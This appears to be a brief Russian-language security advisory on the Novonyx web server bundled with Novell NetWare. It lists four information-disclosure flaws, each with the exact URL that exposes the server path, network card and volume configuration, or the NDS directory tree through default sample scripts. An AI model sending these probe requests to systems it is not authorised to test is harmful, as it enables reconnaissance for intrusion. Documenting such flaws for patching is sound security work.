В Web-cервере Novonyx, устанавливаемом в Novell
Netware по умолчанию и висящем на 80 порту,
существует несколько уязвимостей:
1) Раскрытие пути к серверу:
http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse
http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/test.jse
http://webserver/perl/samples/env.pl
2) Раскрытие информации о конфигурации
сетевых плат:
http://webserver/perl/samples/lancgi.pl
3) Раскрытие информации о конфигурации
тома:
http://webserver/perl/samples/volscgi.pl
4) Просмотр дерева NDS:
http://webserver/perl/samples/ndslogin.pl
